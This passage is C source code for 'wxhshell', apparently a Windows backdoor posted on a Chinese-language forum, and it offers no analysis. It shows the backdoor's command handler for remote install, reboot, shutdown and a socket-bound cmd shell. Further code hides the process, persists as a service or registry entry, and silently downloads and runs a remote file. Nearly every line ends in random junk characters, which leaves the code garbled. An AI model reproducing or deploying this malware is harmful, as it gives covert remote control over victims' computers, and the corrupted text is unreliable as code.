  // 帮助 8s-X H  
  case '?': { `0!%jz=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4T v=sP  
    break; rq}xuSFI  
  } oEj$xm_}  
  // 安装 x-4d VKE*z  
  case 'i': { TqOH(= {  
    if(Install()) <E^;RG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xe3Jxo !U  
    else !T8sWMY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1rLxF{,  
    break; #YK3Ogb,  
    } d3#e7rQ8  
  // 卸载 {SRD\&J[  
  case 'r': { fE3%$M[V7  
    if(Uninstall()) }1lZW"{e[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s'IB{lJ9  
    else l m(mY$B*_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >$=l;jO`n  
    break; NVB#=!S  
    } h]&~yuI>  
  // 显示 wxhshell 所在路径 @,]W  
  case 'p': { I{.t-3hp  
    char svExeFile[MAX_PATH]; HW#@e kh  
    strcpy(svExeFile,"\n\r"); L 7LUy$M-<  
      strcat(svExeFile,ExeFile); +V[;DOlll  
        send(wsh,svExeFile,strlen(svExeFile),0); 'Z#>K*  
    break; 4%JJ} {Ff  
    } wByTNA7  
  // 重启 e#F3KLSL`  
  case 'b': { l7IF9b$c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2pP"dX  
    if(Boot(REBOOT)) k5+ Fxf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t'.:"H8BI  
    else { }9;mtMR$  
    closesocket(wsh); b' ~WS4xlD  
    ExitThread(0); .0;\cv4}  
    } :QXKG8^  
    break; l k /Ke  
    } |_ U!i  
  // 关机 q]SH'Wd  
  case 'd': { Z$6B}cz<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ];N/KHeZ  
    if(Boot(SHUTDOWN)) PpF`0w=1%l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |)*!&\Ch  
    else { hFhC&2HN  
    closesocket(wsh); [kqO6U  
    ExitThread(0); <i`s)L  
    } X;#Ni}af  
    break; 7-\wr^ll3  
    } ~d ~oC$=TC  
  // 获取shell B7o US}M  
  case 's': { 2=1qmQE  
    CmdShell(wsh); kqq1;Kd  
    closesocket(wsh); s ;]"LD@  
    ExitThread(0); gi)C5J4  
    break; :7(d 6gEL  
  } 7| j rk  
  // 退出 w"O;: `|n  
  case 'x': { |tTcJ\bG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &4l!2  
    CloseIt(wsh); [MKt\(  
    break; }h8U.k?v  
    } Lc "{ePFh  
  // 离开 ZU2D.Kf_:  
  case 'q': { X\*H7;k,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BuxU+  
    closesocket(wsh); 'AmA3x)9u  
    WSACleanup(); y$6EEp  
    exit(1); Y/pK  
    break; 1YU?+K  
        } ~~I]SI k{  
  } AgUjC  
  } =GeGlI6  
z=8l@&hYLq  
  // 提示信息 n,_9Eh#WD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yD8Qy+6L  
} \{ C ~B;=  
  } 1CV ?  
9[`\ZGWD  
  return; f2v~: u  
} (#>Q#Izr  
,jD-fL/:  
// shell模块句柄 .f!:@fX>=  
int CmdShell(SOCKET sock) G%h+KTw  
{ 7;?7q  
STARTUPINFO si; f3:dn7  
ZeroMemory(&si,sizeof(si)); RK)ikLgp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |I|,6*)xg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LJt5?zQKrW  
PROCESS_INFORMATION ProcessInfo; ,">CPl]  
char cmdline[]="cmd"; }wEt=zOJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0G+ qF96  
  return 0; qP=a:R-  
} t$R0UprK  
GSH,;cY  
// 自身启动模式 BA T.>  
int StartFromService(void) l}#d^S/  
{ JxM32?Rm*w  
typedef struct `/WOP`'zM  
{ 2+R]q35-  
  DWORD ExitStatus; $:onKxVM  
  DWORD PebBaseAddress; XSx'@ qH  
  DWORD AffinityMask; 0$U\H>r  
  DWORD BasePriority; l^$U~OB8k  
  ULONG UniqueProcessId; M.C`nI4  
  ULONG InheritedFromUniqueProcessId; zW.Ltz  
}   PROCESS_BASIC_INFORMATION; y\dx \  
&hZ6CV{  
PROCNTQSIP NtQueryInformationProcess; "39mhX2  
~uB@oKMru  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \rS-}DG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m+ #G*  
aFh'KPhe  
  HANDLE             hProcess; =OKUSHu@V  
  PROCESS_BASIC_INFORMATION pbi;  {~w!  
"ZmxHMf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `H^ H#W  
  if(NULL == hInst ) return 0; j2 >WHh  
K;TTGK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VwXR,(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'l-VWqR-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?4Rq +  
LVL#qNIu  
  if (!NtQueryInformationProcess) return 0; : >$v@d  
X 3ZKN;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M,Lq4bz  
  if(!hProcess) return 0; &@PAv5iNf  
n~i^+pD@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;B :\e8  
.l,NmF9  
  CloseHandle(hProcess); *_a jb:  
Jr>Nc}!U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^{E_fQJX  
if(hProcess==NULL) return 0; f uH3C~u7<  
nGTqW/k[+s  
HMODULE hMod; ye| 2gH  
char procName[255]; =Prz|   
unsigned long cbNeeded; C"k]U[%{  
.wtYost v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $u)#-X;x  
|Y2n6gkH[  
  CloseHandle(hProcess); bW3Ah?0N  
q1|@v#kH6  
if(strstr(procName,"services")) return 1; // 以服务启动 ;\T~Hc}&;  
u(`7F(R  
  return 0; // 注册表启动 e.!~7c_z?  
} W,nn,%  
1X?q4D"  
// 主模块 \PmM856=ms  
int StartWxhshell(LPSTR lpCmdLine) qJXf c||Zg  
{ |CBJ8],mT  
  SOCKET wsl; KF`mOSP  
BOOL val=TRUE; hm1.UE  
  int port=0; ;*20b@  
  struct sockaddr_in door; ~AF' 6"A  
T 7M];@q  
  if(wscfg.ws_autoins) Install(); obgO-d9l  
Ti#x62X{  
port=atoi(lpCmdLine); @DAaCF8  
4%u\dTg/B  
if(port<=0) port=wscfg.ws_port; #"o`'5  
X8XE_VtP  
  WSADATA data; 2nSz0 .  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @,pn/[  
H\|H]:CE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L1q]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eHyIFoaC/  
  door.sin_family = AF_INET; F}5skD=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j<L!(6B  
  door.sin_port = htons(port); GbC JGqOR  
}5QUIK~NA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U(<~("ocN  
closesocket(wsl); xp"F)6  
return 1; 1.a:iweN  
} tA K=W$r  
:,'.b|Tl.b  
  if(listen(wsl,2) == INVALID_SOCKET) { U a1Z,~ *  
closesocket(wsl); c{i\F D  
return 1; q6P5:@  
} ^3Z~RK\}  
  Wxhshell(wsl); [?)He} _L  
  WSACleanup(); X>MDX.Z  
70nBC  
return 0; 2j[; M-3  
2(Nf$?U @0  
} ' KNg;  
s 8lfW6  
// 以NT服务方式启动 h-*h;Uyc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ` >k7^!Ds  
{ P0-K/_g  
DWORD   status = 0; \Iz-<:gA'  
  DWORD   specificError = 0xfffffff; F=;nWQ&  
DM{Z#b]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t y%Hrw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Lo +H&-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G-DOI  
  serviceStatus.dwWin32ExitCode     = 0; s09&A]G  
  serviceStatus.dwServiceSpecificExitCode = 0; q9(hn_X@/  
  serviceStatus.dwCheckPoint       = 0; 0-Wv$o[  
  serviceStatus.dwWaitHint       = 0; |b|bL 7nx  
V:1_k"zQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +Ui%}^ZZ  
  if (hServiceStatusHandle==0) return; Mbtk:GuY  
gyv@_}Y3  
status = GetLastError(); <T$rvS  
  if (status!=NO_ERROR) 3MHByT %  
{ R=L-Ulhk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ER<Z!*2  
    serviceStatus.dwCheckPoint       = 0; snny! 0E\m  
    serviceStatus.dwWaitHint       = 0; E,|OMK#   
    serviceStatus.dwWin32ExitCode     = status; F^7qr  
    serviceStatus.dwServiceSpecificExitCode = specificError; s&6/fa  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G}'\  
    return; nD{{/_"'  
  } ]Q{MF- EKj  
XC[bEp$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,)t/1oQ}>^  
  serviceStatus.dwCheckPoint       = 0; ^:o^g'Yab  
  serviceStatus.dwWaitHint       = 0; = /=?l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EA<x$O  
} NO.5Vy  
b!z=:  
// 处理NT服务事件,比如:启动、停止 _RG2I)P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !JPZ7_nn  
{ Xxs0N_va&  
switch(fdwControl) b|g=&T:pp  
{ r} a,  
case SERVICE_CONTROL_STOP: _z& H O  
  serviceStatus.dwWin32ExitCode = 0; c.;<+dYsm*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -VZ? c  
  serviceStatus.dwCheckPoint   = 0; ;)!);q+  
  serviceStatus.dwWaitHint     = 0; WVh]<?GWXk  
  { *En4~;l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w#RfD  
  } gPy}.g{tH$  
  return; !F# ^Peb  
case SERVICE_CONTROL_PAUSE: e `IL7$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &=v5M9GR]  
  break; ;C+ _KS  
case SERVICE_CONTROL_CONTINUE: 4 _Idf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ROr|  <  
  break; 6Vy4]jdT5  
case SERVICE_CONTROL_INTERROGATE: wZ~eE'zx+  
  break; nbSu|sX~r5  
}; HmRmZ3~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZgL]ex  
} XM?C7/^k  
Xe<kdB3  
// 标准应用程序主函数 2<^eVpNJR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cK1RmL"3  
{ cAzlkh  
MF4B 2d  
// 获取操作系统版本 r$;u4FR  
OsIsNt=GetOsVer(); M K, $#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kr5'a:F)  
cmbl"Pqy1  
  // 从命令行安装 F!ra$5u  
  if(strpbrk(lpCmdLine,"iI")) Install(); @i@f@.t  
r_M5:Rz  
  // 下载执行文件 hE}y/A[  
if(wscfg.ws_downexe) { 9I*`~il>{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `'/1Ij+  
  WinExec(wscfg.ws_filenam,SW_HIDE); >twog}%  
} 6g%~~hX  
,\0>d}eh !  
if(!OsIsNt) { F;)qM|7  
// 如果时win9x,隐藏进程并且设置为注册表启动 tcj3x<  
HideProc(); hg}R(.1K=  
StartWxhshell(lpCmdLine); ~X1<x4P\  
} ^97\TmzP{  
else l=^^l`  
  if(StartFromService()) -n`2>L1  
  // 以服务方式启动 .7MLgC;  
  StartServiceCtrlDispatcher(DispatchTable); NLO&.Q]#  
else MGSD;Lgn  
  // 普通方式启动 0`"DYJ}d  
  StartWxhshell(lpCmdLine); RV, cQ K  
MF.$E?_R  
return 0; \$D41_Wt|  
}
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只看该作者 1 发表于: 2006-10-10
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